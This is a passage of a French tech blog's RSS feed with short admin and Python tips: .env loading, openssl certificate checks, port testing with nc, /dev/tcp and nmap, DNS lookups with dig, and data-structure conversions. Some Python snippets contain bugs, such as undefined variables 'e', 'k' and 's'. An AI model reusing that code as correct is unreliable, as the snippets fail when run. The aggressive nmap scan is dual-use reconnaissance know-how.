<p>Par exemple, la configuration VScode <code>.vscode/launch.json</code> suivante n&rsquo;est pas compatible avec ce genre de fichiers <code>.env</code>:</p>
<pre tabindex="0"><code>{
    &#34;name&#34;: &#34;Python: Current File&#34;,
    &#34;type&#34;: &#34;python&#34;,
    &#34;request&#34;: &#34;launch&#34;,
    &#34;program&#34;: &#34;${file}&#34;,
    &#34;console&#34;: &#34;integratedTerminal&#34;,
    &#34;stopOnEntry&#34;: true,
    &#34;python.envFile&#34;: &#34;.env&#34;
}
</code></pre><p>La solution à ce problème est de travailler avec des fichiers composés de clés/ valeurs uniquement comme ceci:</p>
<pre tabindex="0"><code>SERVER_URL=&#39;blablabla&#39;
...
</code></pre><p>Ce sera compatible avec VSCode et pour que cela fonctionne dans un Terminal il ne faut plus utiliser la commande source mais la commande suivante:</p>
<pre tabindex="0"><code># Cette commande gère les espaces grâce au -d et ignore les lignes commentées grâce au grep -v &#39;^#&#39;

$ export $(grep -v &#39;^#&#39; .env | xargs -d &#39;\n&#39;)


Sur Mac, il faut utiliser la commande suivante:

$ export $(grep -v &#39;^#&#39; .env | xargs -0)

Ou alternative:

$ eval $(cat .env | sed &#39;s/^/export /&#39;)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Debug des certificats SSL</title>
            <link>https://leandeep.com/debug-des-certificats-ssl/</link>
            <pubDate>Wed, 01 Jul 2015 19:43:00 +0000</pubDate>
            
            <guid>https://leandeep.com/debug-des-certificats-ssl/</guid>
            <description>&lt;p&gt;Voir tous les SAN (Subjects Alternative Names) d&amp;rsquo;un CSR (Certificate Signing Request):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl req -noout -text -in my_csr.csr | grep DNS
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Voir tous les SAN dans un certificat pem:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cat my_pem.pem | openssl x509 -text | grep DNS
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Voir le certificat d&amp;rsquo;un site web:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl s_client -connect {HOSTNAME}:{PORT} -showcerts
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Sauvegarder le certificat d&amp;rsquo;un site web dans un fichier PEM:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;openssl s_client -connect {HOSTNAME}:{PORT} -showcerts &amp;lt;/dev/null 2&amp;gt;/dev/null|openssl x509 -outform PEM &amp;gt; dl_cert_file.pem
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voir tous les SAN (Subjects Alternative Names) d&rsquo;un CSR (Certificate Signing Request):</p>
<pre tabindex="0"><code>openssl req -noout -text -in my_csr.csr | grep DNS
</code></pre><br/>
<p>Voir tous les SAN dans un certificat pem:</p>
<pre tabindex="0"><code>cat my_pem.pem | openssl x509 -text | grep DNS
</code></pre><br/>
<p>Voir le certificat d&rsquo;un site web:</p>
<pre tabindex="0"><code>openssl s_client -connect {HOSTNAME}:{PORT} -showcerts
</code></pre><br/>
<p>Sauvegarder le certificat d&rsquo;un site web dans un fichier PEM:</p>
<pre tabindex="0"><code>openssl s_client -connect {HOSTNAME}:{PORT} -showcerts &lt;/dev/null 2&gt;/dev/null|openssl x509 -outform PEM &gt; dl_cert_file.pem
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Port accessible sur une machine distante et quels ports utilisés ?</title>
            <link>https://leandeep.com/port-accessible-sur-une-machine-distante-et-quels-ports-utilis%C3%A9s/</link>
            <pubDate>Tue, 30 Jun 2015 07:04:00 +0000</pubDate>
            
            <guid>https://leandeep.com/port-accessible-sur-une-machine-distante-et-quels-ports-utilis%C3%A9s/</guid>
            <description>&lt;h1 id=&#34;ports-accessibles-&#34;&gt;Ports accessibles ?&lt;/h1&gt;
&lt;h2 id=&#34;via-telnet&#34;&gt;Via Telnet&lt;/h2&gt;
&lt;p&gt;Sur les anciens systèmes telnet est installé.
Il suffit de faire:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;telnet hostname port
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;alternatives-à-telnet&#34;&gt;Alternatives à telnet&lt;/h2&gt;
&lt;p&gt;Sur les machines plus récentes, telnet n&amp;rsquo;est plus installé pour une question de sécurité. Il est alors possible d&amp;rsquo;utiliser d&amp;rsquo;autres outils.&lt;/p&gt;
&lt;h3 id=&#34;nc&#34;&gt;NC&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;nc -zv hostname port
nc -zv 127.0.0.1 22 80 8080 # multiple ports
nc -zv 127.0.0.1 20-30 # range of ports
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Note: pour tester une port sur le protocole UDP, utiliser &lt;code&gt;nc -u&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="ports-accessibles-">Ports accessibles ?</h1>
<h2 id="via-telnet">Via Telnet</h2>
<p>Sur les anciens systèmes telnet est installé.
Il suffit de faire:</p>
<pre tabindex="0"><code>telnet hostname port
</code></pre><br/>
<h2 id="alternatives-à-telnet">Alternatives à telnet</h2>
<p>Sur les machines plus récentes, telnet n&rsquo;est plus installé pour une question de sécurité. Il est alors possible d&rsquo;utiliser d&rsquo;autres outils.</p>
<h3 id="nc">NC</h3>
<pre tabindex="0"><code>nc -zv hostname port
nc -zv 127.0.0.1 22 80 8080 # multiple ports
nc -zv 127.0.0.1 20-30 # range of ports
</code></pre><blockquote>
<p>Note: pour tester une port sur le protocole UDP, utiliser <code>nc -u</code></p></blockquote>
<br/>
<h3 id="bash">bash</h3>
<pre tabindex="0"><code>cat &lt; /dev/tcp/hostname/port
-bash: connect: Connection refused # closed
</code></pre><br/>
<h3 id="curl">curl</h3>
<pre tabindex="0"><code>curl http://hostname:port

curl: (7) couldn&#39;t connect to host #closed
curl: (7) Failed connect to hostname:port; Connection refused #closed
ou
curl: (56) Failure when receiving data from the peer #opened
</code></pre><br/>
<h2 id="nmap">Nmap</h2>
<pre tabindex="0"><code># Usage: 
# nmap [scan type(s)] [Options] {target(s)}
sudo nmap -Pn -A 192.168.99.100

# Useful scan types:
# -Pn: skip ping probes
# -sS: SYN scan
# -A: Aggressive &lt;=&gt; OS fingerprinting, service versions, traceroutes, runs script scans
# -p &lt;port&gt;: pour scanner un port particulier
</code></pre><p><img src="/images/syn-syn-ack-ack.png" alt="image"></p>
<br/>
<h1 id="quel-port-est-utilisé-par-un-service-">Quel port est utilisé par un service ?</h1>
<p>Exemple avec le service ntp:</p>
<pre tabindex="0"><code>netstat -tulpn | grep ntpd
</code></pre><br/>
<p>On voit que le service ntp utilise le port 123:</p>
<pre tabindex="0"><code>udp 0 0 192.168.87.144:123 0.0.0.0:* 1885/ntpd
udp 0 0 127.0.0.1:123 0.0.0.0:* 1885/ntpd
udp 0 0 0.0.0.0:123 0.0.0.0:* 1885/ntpd
udp 0 0 fe80::20c:29ff:fe62:f03:123 :::* 1885/ntpd
udp 0 0 ::1:123 :::* 1885/ntpd
udp 0 0 :::123 :::* 1885/ntpd 
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Servir les fichiers du dossier courant via une interface web</title>
            <link>https://leandeep.com/servir-les-fichiers-du-dossier-courant-via-une-interface-web/</link>
            <pubDate>Wed, 17 Jun 2015 22:37:00 +0000</pubDate>
            
            <guid>https://leandeep.com/servir-les-fichiers-du-dossier-courant-via-une-interface-web/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Dans la catégorie réseau et SSH:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2 possibilitées en fonction de ce qui est installé sur votre machine.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NodeJS est installé&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ npm install -g http-server
$ http-server
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Par défaut le port 8080 sera utilisé.
Pour le customiser utilisé la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ http-server -p 3000
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;ul&gt;
&lt;li&gt;Python est installé:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ python -m SimpleHTTPServer
ou
$ python3 -m http.server
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Par défaut le port 8000 sera utilisé
Pour le customiser utilisé la commande suivante:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Dans la catégorie réseau et SSH:</strong></p>
<p>2 possibilitées en fonction de ce qui est installé sur votre machine.</p>
<ul>
<li>NodeJS est installé</li>
</ul>
<pre tabindex="0"><code>$ npm install -g http-server
$ http-server
</code></pre><p>Par défaut le port 8080 sera utilisé.
Pour le customiser utilisé la commande suivante:</p>
<pre tabindex="0"><code>$ http-server -p 3000
</code></pre><br/>
<ul>
<li>Python est installé:</li>
</ul>
<pre tabindex="0"><code>$ python -m SimpleHTTPServer
ou
$ python3 -m http.server
</code></pre><p>Par défaut le port 8000 sera utilisé
Pour le customiser utilisé la commande suivante:</p>
<pre tabindex="0"><code>$ python -m SimpleHTTPServer 3000
ou
$ python3 -m http.server
</code></pre><p>Que vous utilisiez NodeJS ou Python vous devrez passer en root pour utiliser les ports en dessous de 1024.</p>
]]></content>
        </item>
        
        <item>
            <title>Conversion de structure de données à une autre</title>
            <link>https://leandeep.com/conversion-de-structure-de-donn%C3%A9es-%C3%A0-une-autre/</link>
            <pubDate>Sat, 09 May 2015 21:07:00 +0000</pubDate>
            
            <guid>https://leandeep.com/conversion-de-structure-de-donn%C3%A9es-%C3%A0-une-autre/</guid>
            <description>&lt;p&gt;Lorsque l&amp;rsquo;on fait du preprocessing sur les données en Python, il est utile de transformer des structures de données en d&amp;rsquo;autres.
Voici quelques snippets utiles:&lt;/p&gt;
&lt;h2 id=&#34;liste-vers-dictionnaire&#34;&gt;Liste vers dictionnaire&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;list = [&amp;#34;lun&amp;#34;, &amp;#34;mer&amp;#34;, &amp;#34;mar&amp;#34;, &amp;#34;mer&amp;#34;, &amp;#34;jeu&amp;#34;, &amp;#34;jeu&amp;#34;]
dict = {}
for el in list:
    dict[e] = dict.get(el, 0) + 1
print(dict)
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{&amp;#39;lun&amp;#39;: 1, &amp;#39;mer&amp;#39;: 2, &amp;#39;mar&amp;#39;: 1, &amp;#39;jeu&amp;#39;: 2}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;L&amp;rsquo;usage de la méthode &lt;a href=&#34;https://docs.python.org/3/library/stdtypes.html?highlight=get#dict.get&#34;&gt;get&lt;/a&gt; regarde si une clé appartient au dictionnaire, retourne la valeur associée ou une valeur par défault dans le cas contraire.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Lorsque l&rsquo;on fait du preprocessing sur les données en Python, il est utile de transformer des structures de données en d&rsquo;autres.
Voici quelques snippets utiles:</p>
<h2 id="liste-vers-dictionnaire">Liste vers dictionnaire</h2>
<pre tabindex="0"><code>list = [&#34;lun&#34;, &#34;mer&#34;, &#34;mar&#34;, &#34;mer&#34;, &#34;jeu&#34;, &#34;jeu&#34;]
dict = {}
for el in list:
    dict[e] = dict.get(el, 0) + 1
print(dict)
</code></pre><pre tabindex="0"><code>{&#39;lun&#39;: 1, &#39;mer&#39;: 2, &#39;mar&#39;: 1, &#39;jeu&#39;: 2}
</code></pre><p>L&rsquo;usage de la méthode <a href="https://docs.python.org/3/library/stdtypes.html?highlight=get#dict.get">get</a> regarde si une clé appartient au dictionnaire, retourne la valeur associée ou une valeur par défault dans le cas contraire.</p>
<p>Sans utiliser cette méthode, le code précédent devient:</p>
<pre tabindex="0"><code>list = [&#34;lun&#34;, &#34;mer&#34;, &#34;mar&#34;, &#34;mer&#34;, &#34;jeu&#34;, &#34;jeu&#34;]
dict = {}
for el in list:
    if el in dict:
        dict[el] += 1
    else:
        dict[el] = 1
print(dict)
</code></pre><br/>
<h2 id="dictionnaire-vers-liste">Dictionnaire vers liste</h2>
<pre tabindex="0"><code>dict = {&#39;lun&#39;: 1, &#39;mer&#39;: 2, &#39;mar&#39;: 1, &#39;jeu&#39;: 2}
list = []
for key, value in dict.items():
    for i in range(value):
        list.append(key)
print(list)
</code></pre><pre tabindex="0"><code>[&#34;lun&#34;, &#34;mer&#34;, &#34;mar&#34;, &#34;mer&#34;, &#34;jeu&#34;, &#34;jeu&#34;]
</code></pre><br/>
<h2 id="dictionnaire-vers-2-listes">Dictionnaire vers 2 listes</h2>
<pre tabindex="0"><code>dict = {&#39;lun&#39;: 1, &#39;mer&#39;: 2, &#39;mar&#39;: 1, &#39;jeu&#39;: 2}
keys = []
values = []
for key, value in dict.items():
    keys.append(key)
    values.append(value)

print(keys)
print(values)
</code></pre><pre tabindex="0"><code>[&#39;mer&#39;, &#39;jeu&#39;, &#39;lun&#39;, &#39;mar&#39;]
[2, 2, 1, 1]
</code></pre><br/>
<h2 id="2-listes-vers-1-dictionnaire">2 listes vers 1 dictionnaire</h2>
<pre tabindex="0"><code>keys, values = [&#39;mer&#39;, &#39;jeu&#39;, &#39;lun&#39;, &#39;mar&#39;], [2, 2, 1, 1]
dict = {x:y for x, y in zip(keys, values)}
print(dict)
</code></pre><pre tabindex="0"><code>{&#39;lun&#39;: 1, &#39;mer&#39;: 2, &#39;mar&#39;: 1, &#39;jeu&#39;: 2}
</code></pre><br/>
<h2 id="dictionnaire-vers-2-listes-1">Dictionnaire vers 2 listes</h2>
<pre tabindex="0"><code>dict = {&#39;lun&#39;: 1, &#39;mer&#39;: 2, &#39;mar&#39;: 1, &#39;jeu&#39;: 2}
keys = []
values = []
for key, value in dict.items():
    keys.append(k)
    values.append(v)
print(keys)
print(values)
</code></pre><pre tabindex="0"><code>[&#39;mer&#39;, &#39;jeu&#39;, &#39;lun&#39;, &#39;mar&#39;]
[2, 2, 1, 1]
</code></pre><p>Avec le zip reverse cela devient:</p>
<pre tabindex="0"><code>dict = {&#39;lun&#39;: 1, &#39;mer&#39;: 2, &#39;mar&#39;: 1, &#39;jeu&#39;: 2}
keys, values = zip(*dict.items())
print(keys)
print(values)
</code></pre><pre tabindex="0"><code>(&#39;mer&#39;, &#39;jeu&#39;, &#39;lun&#39;, &#39;mar&#39;)
(2, 2, 1, 1)
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Les containers de données en Python</title>
            <link>https://leandeep.com/les-containers-de-donn%C3%A9es-en-python/</link>
            <pubDate>Sun, 03 May 2015 23:24:00 +0000</pubDate>
            
            <guid>https://leandeep.com/les-containers-de-donn%C3%A9es-en-python/</guid>
            <description>&lt;p&gt;Python propose différents containers pour stocker des éléments. Voici les plus courants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.python.org/3.4/tutorial/datastructures.html#more-on-lists&#34;&gt;list&lt;/a&gt;: tableau d’éléments indexés de 0 à n-1 auquel on peut ajouter ou retirer des éléments&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.python.org/3.4/tutorial/datastructures.html#dictionaries&#34;&gt;dict&lt;/a&gt;: tableau d’éléments indexés par des types immuables auquel on peut ajouter ou retirer des éléments&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.python.org/3.4/tutorial/datastructures.html#tuples-and-sequences&#34;&gt;tuple&lt;/a&gt;: tableau d’éléments indexés de 0 à n-1 qu’on ne peut pas modifier&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.python.org/3.4/tutorial/datastructures.html#sets&#34;&gt;set&lt;/a&gt;: tableau d’éléments uniques non indexés&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.python.org/3.4/tutorial/datastructures.html#sets&#34;&gt;frozenset&lt;/a&gt;: set immuables (non modifiable)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://docs.python.org/3.4/library/collections.html#collections.deque&#34;&gt;deque&lt;/a&gt;: presque équivalent à une liste, la différence vient de l’implémentation, les mêmes opérations n’auront pas les mêmes coûts (deque = liste chaînée)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;D’autres containers sont disponibles via le module &lt;a href=&#34;https://docs.python.org/3.4/library/collections.html&#34;&gt;collections&lt;/a&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Python propose différents containers pour stocker des éléments. Voici les plus courants:</p>
<ul>
<li><a href="https://docs.python.org/3.4/tutorial/datastructures.html#more-on-lists">list</a>: tableau d’éléments indexés de 0 à n-1 auquel on peut ajouter ou retirer des éléments</li>
<li><a href="https://docs.python.org/3.4/tutorial/datastructures.html#dictionaries">dict</a>: tableau d’éléments indexés par des types immuables auquel on peut ajouter ou retirer des éléments</li>
<li><a href="https://docs.python.org/3.4/tutorial/datastructures.html#tuples-and-sequences">tuple</a>: tableau d’éléments indexés de 0 à n-1 qu’on ne peut pas modifier</li>
<li><a href="https://docs.python.org/3.4/tutorial/datastructures.html#sets">set</a>: tableau d’éléments uniques non indexés</li>
<li><a href="https://docs.python.org/3.4/tutorial/datastructures.html#sets">frozenset</a>: set immuables (non modifiable)</li>
<li><a href="https://docs.python.org/3.4/library/collections.html#collections.deque">deque</a>: presque équivalent à une liste, la différence vient de l’implémentation, les mêmes opérations n’auront pas les mêmes coûts (deque = liste chaînée)</li>
</ul>
<p>D’autres containers sont disponibles via le module <a href="https://docs.python.org/3.4/library/collections.html">collections</a>.</p>
<pre tabindex="0"><code>N = 1000000

list_example = list(range(0,1000))
for i in range(0,N) :
    if i in list_example : s += 1
    
tuple_example = tuple(list_example)
for i in range(0,N) :
    if i in tuple_example : s += 1
    
set_example = set(list_example)
for i in range(0,N) :
    if i in set_example : s += 1
    
frozenset_example = frozenset(list_example)
for i in range(0,N) :
    if i in frozenset_example : s += 1

list_example = list()
# Insertion à la fin
for i in range(0,N):
    list_example.append(i)
# Insertion au début
for i in range(0,N):
    list_example.insert(0,i)
        

import collections

collection_example = collections.deque()
# Insertion au début
for i in range(0,N) :
    collection_example.appendleft(i)
# Insertion à la fin
for i in range(0,N):
    collection_example.append(i)
</code></pre><p>Notez que les ensembles <strong>set</strong> ou <strong>frozenset</strong> sont beaucoup plus rapides que tuples et lists.</p>
]]></content>
        </item>
        
        <item>
            <title>Ma présentation d&#39;Ionic</title>
            <link>https://leandeep.com/ma-pr%C3%A9sentation-dionic/</link>
            <pubDate>Thu, 30 Apr 2015 23:16:00 +0000</pubDate>
            
            <guid>https://leandeep.com/ma-pr%C3%A9sentation-dionic/</guid>
            <description>&lt;p&gt;Voici une présentation que j&amp;rsquo;ai réalisé pour présenter Ionic à mon équipe dans l&amp;rsquo;éventualité de l&amp;rsquo;utiliser à la place d&amp;rsquo;Angular et Bootstrap pour nos applications hybrides.&lt;/p&gt;

    &lt;iframe
        src=&#34;//www.slideshare.net/slideshow/embed_code/key/2AnieOutuKU8kY&#34;
        title=&#34;SlideShare Presentation&#34;
        height=&#34;485&#34;
        width=&#34;595&#34;
        frameborder=&#34;0&#34;
        marginwidth=&#34;0&#34;
        marginheight=&#34;0&#34;
        scrolling=&#34;no&#34;
        style=&#34;border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;&#34;
        allowfullscreen=&#34;true&#34;&gt;
    &lt;/iframe&gt;</description>
            <content type="html"><![CDATA[<p>Voici une présentation que j&rsquo;ai réalisé pour présenter Ionic à mon équipe dans l&rsquo;éventualité de l&rsquo;utiliser à la place d&rsquo;Angular et Bootstrap pour nos applications hybrides.</p>

    <iframe
        src="//www.slideshare.net/slideshow/embed_code/key/2AnieOutuKU8kY"
        title="SlideShare Presentation"
        height="485"
        width="595"
        frameborder="0"
        marginwidth="0"
        marginheight="0"
        scrolling="no"
        style="border: 1px solid #CCC; border-width: 1px; margin-bottom: 20px; width: 100%;"
        allowfullscreen="true">
    </iframe>





]]></content>
        </item>
        
        <item>
            <title>Synthèse statistiques descriptives</title>
            <link>https://leandeep.com/synth%C3%A8se-statistiques-descriptives/</link>
            <pubDate>Tue, 28 Apr 2015 10:52:00 +0000</pubDate>
            
            <guid>https://leandeep.com/synth%C3%A8se-statistiques-descriptives/</guid>
            <description>&lt;ul&gt;
&lt;li&gt;Moyenne: &lt;em&gt;Average Mean&lt;/em&gt; en anglais&lt;/li&gt;
&lt;li&gt;Médiane: &lt;em&gt;Median&lt;/em&gt; en anglais =&amp;gt; / par 2 =&amp;gt; valeur centrale de la distribution.
Example: 3; 5; 7; 9; 10 ==&amp;gt; Mediane = 7&lt;/li&gt;
&lt;li&gt;Mode: &lt;em&gt;Mode&lt;/em&gt; en anglais =&amp;gt; valeur la plus fréquente dans la distribution&lt;/li&gt;
&lt;li&gt;Moyenne tronquée: &lt;em&gt;Trimed mean&lt;/em&gt; en anglais =&amp;gt; moyenne des données après suppression des 5% des valeurs supérieures et 5% des valeurs inférieure&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Dispersion&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Centile: est chacune des 99 valeurs qui divisent les données triées en 100 parts égales. Par exemple, le 95ème (quatre-vingt-quinzième) centile est la valeur telle que 95% des valeurs mesurées sont en dessous et 5% sont au-dessus.&lt;/li&gt;
&lt;li&gt;Quartiles: divise un échantillon en 4 quarts égaux. =&amp;gt; Cela permet d&amp;rsquo;évaluer la dispersion des données et la tendance centrale =&amp;gt; On divise l&amp;rsquo;effectif total par 4.&lt;/li&gt;
&lt;li&gt;Range: MAX - MIN&lt;/li&gt;
&lt;li&gt;Interquartile = Q3 - Q1&lt;/li&gt;
&lt;li&gt;Variance: mesure de la dispersion des valeurs d&amp;rsquo;un échantillon ou d&amp;rsquo;une distribution de probabilité. Elle ne s’annule que pour une série statistique dont tous les termes ont la même valeur, elle est d’autant plus grande que les valeurs sont étalées, et invariante par ajout d’une constante.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Calcul:
&lt;img src=&#34;https://leandeep.com/images/variance.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<ul>
<li>Moyenne: <em>Average Mean</em> en anglais</li>
<li>Médiane: <em>Median</em> en anglais =&gt; / par 2 =&gt; valeur centrale de la distribution.
Example: 3; 5; 7; 9; 10 ==&gt; Mediane = 7</li>
<li>Mode: <em>Mode</em> en anglais =&gt; valeur la plus fréquente dans la distribution</li>
<li>Moyenne tronquée: <em>Trimed mean</em> en anglais =&gt; moyenne des données après suppression des 5% des valeurs supérieures et 5% des valeurs inférieure</li>
</ul>
<br/>
<p><strong>Dispersion</strong></p>
<ul>
<li>Centile: est chacune des 99 valeurs qui divisent les données triées en 100 parts égales. Par exemple, le 95ème (quatre-vingt-quinzième) centile est la valeur telle que 95% des valeurs mesurées sont en dessous et 5% sont au-dessus.</li>
<li>Quartiles: divise un échantillon en 4 quarts égaux. =&gt; Cela permet d&rsquo;évaluer la dispersion des données et la tendance centrale =&gt; On divise l&rsquo;effectif total par 4.</li>
<li>Range: MAX - MIN</li>
<li>Interquartile = Q3 - Q1</li>
<li>Variance: mesure de la dispersion des valeurs d&rsquo;un échantillon ou d&rsquo;une distribution de probabilité. Elle ne s’annule que pour une série statistique dont tous les termes ont la même valeur, elle est d’autant plus grande que les valeurs sont étalées, et invariante par ajout d’une constante.</li>
</ul>
<p>Calcul:
<img src="/images/variance.png" alt="image"></p>
<ul>
<li>Ecart-type: <em>Standard deviation</em> en anglais = √variance =&gt; Si l’écart-type est supérieur à 0,5 moyenne, on peut donc considérer que les variations sont fortes.</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Diagnostiquer les dysfonctionnements DNS</title>
            <link>https://leandeep.com/diagnostiquer-les-dysfonctionnements-dns/</link>
            <pubDate>Mon, 27 Apr 2015 19:59:00 +0000</pubDate>
            
            <guid>https://leandeep.com/diagnostiquer-les-dysfonctionnements-dns/</guid>
            <description>&lt;p&gt;Rappel des différents type d’enregistrements DNS:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;A : Renvoie une adresse IPv4 pour un nom de host donné.
AAA : Renvoie une adresse IPv6 pour un nom de host donné.
NS : Délègue la gestion d’une zone à un serveur de nom faisant autorité.
CNAME : Permet de réaliser un alias d’un host vers un autre.
SOA : Définit le serveur maître du domaine.
PTR : Réalise l’inverse de l’enregistrement A ou AAAA, donne un nom de host (FQDN) pour une adresse IP.
MX : Définit le nom du serveur de courrier du domaine.
TXT : Une chaîne de caractères libres.
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Utiliser la command dig pour :&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Rappel des différents type d’enregistrements DNS:</p>
<pre tabindex="0"><code>A : Renvoie une adresse IPv4 pour un nom de host donné.
AAA : Renvoie une adresse IPv6 pour un nom de host donné.
NS : Délègue la gestion d’une zone à un serveur de nom faisant autorité.
CNAME : Permet de réaliser un alias d’un host vers un autre.
SOA : Définit le serveur maître du domaine.
PTR : Réalise l’inverse de l’enregistrement A ou AAAA, donne un nom de host (FQDN) pour une adresse IP.
MX : Définit le nom du serveur de courrier du domaine.
TXT : Une chaîne de caractères libres.
</code></pre><br/>
<p>Utiliser la command dig pour :</p>
<ol>
<li>Voir les serveurs de messagerie d&rsquo;un domaine (MX) :</li>
</ol>
<pre tabindex="0"><code>dig mx leandeep.com +short
1 mx1.ovh.net.
5 mx2.ovh.net.
100 mxb.ovh.net.
</code></pre><br/>
<ol start="2">
<li>Connaitre l&rsquo;IP du serveur DNS:</li>
</ol>
<pre tabindex="0"><code>dig leandeep.com

; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; leandeep.com
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 52800
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;leandeep.com.			IN	A

;; ANSWER SECTION:
leandeep.com.		200	IN	A	174.138.9.130

;; Query time: 2 msec
;; SERVER: 10.0.0.1#53(10.0.0.1)
;; WHEN: Thu Nov 08 10:40:29 CET 2018
;; MSG SIZE  rcvd: 57
</code></pre><br/>
<ol start="3">
<li>Résolution inverse à partir de l&rsquo;IP</li>
</ol>
<pre tabindex="0"><code>dig -x 8.8.8.8 +short
google-public-dns-a.google.com.
</code></pre><br/>
<ol start="4">
<li>Tester la résolution de nom avec un autre serveur DNS</li>
</ol>
<pre tabindex="0"><code>dig @193.173.98.151 lean-deep.com +short
</code></pre><br/>
<ol start="5">
<li>Avoir le plus d&rsquo;informations possible</li>
</ol>
<pre tabindex="0"><code>dig leandeep.com ANY
; &lt;&lt;&gt;&gt; DiG 9.10.6 &lt;&lt;&gt;&gt; leandeep.com ANY
;; global options: +cmd
;; Got answer:
;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 35656
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;leandeep.com.			IN	ANY

;; ANSWER SECTION:
leandeep.com.		2797	IN	A	174.138.9.130
leandeep.com.		2870	IN	MX	5 mx2.ovh.net.
leandeep.com.		2870	IN	MX	100 mxb.ovh.net.
leandeep.com.		2870	IN	MX	1 mx1.ovh.net.

;; ADDITIONAL SECTION:
mx2.ovh.net.		7380	IN	A	87.98.132.45
mxb.ovh.net.		7380	IN	A	46.105.45.21
mx1.ovh.net.		39570	IN	A	188.165.47.122

;; Query time: 3 msec
;; SERVER: 10.0.0.1#53(10.0.0.1)
;; WHEN: Thu Nov 08 10:57:36 CET 2018
;; MSG SIZE  rcvd: 172
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Je veux faire du Machine Learning!</title>
            <link>https://leandeep.com/je-veux-faire-du-machine-learning/</link>
            <pubDate>Sat, 25 Apr 2015 20:37:00 +0000</pubDate>
            
            <guid>https://leandeep.com/je-veux-faire-du-machine-learning/</guid>
            <description>&lt;h1 id=&#34;introduction-la-révélation&#34;&gt;Introduction, la révélation&lt;/h1&gt;
&lt;p&gt;Nous sommes avril 2015, je reviens de mes vacances à Rome. (Franchement je recommande cette ville mais parler de Rome n&amp;rsquo;est pas le sujet de cet article).
Pendant mes vacances, j&amp;rsquo;ai eu le temps de réfléchir sur ce que je voulais faire et j&amp;rsquo;ai eu une révélation. Je veux faire du Machine Learning !&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une discipline que je ne connais pas du tout et qui a l&amp;rsquo;air vraiment cool.
Le sujet a l&amp;rsquo;air extrèmement vague et je ne sais pas vraiment par où commencer.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="introduction-la-révélation">Introduction, la révélation</h1>
<p>Nous sommes avril 2015, je reviens de mes vacances à Rome. (Franchement je recommande cette ville mais parler de Rome n&rsquo;est pas le sujet de cet article).
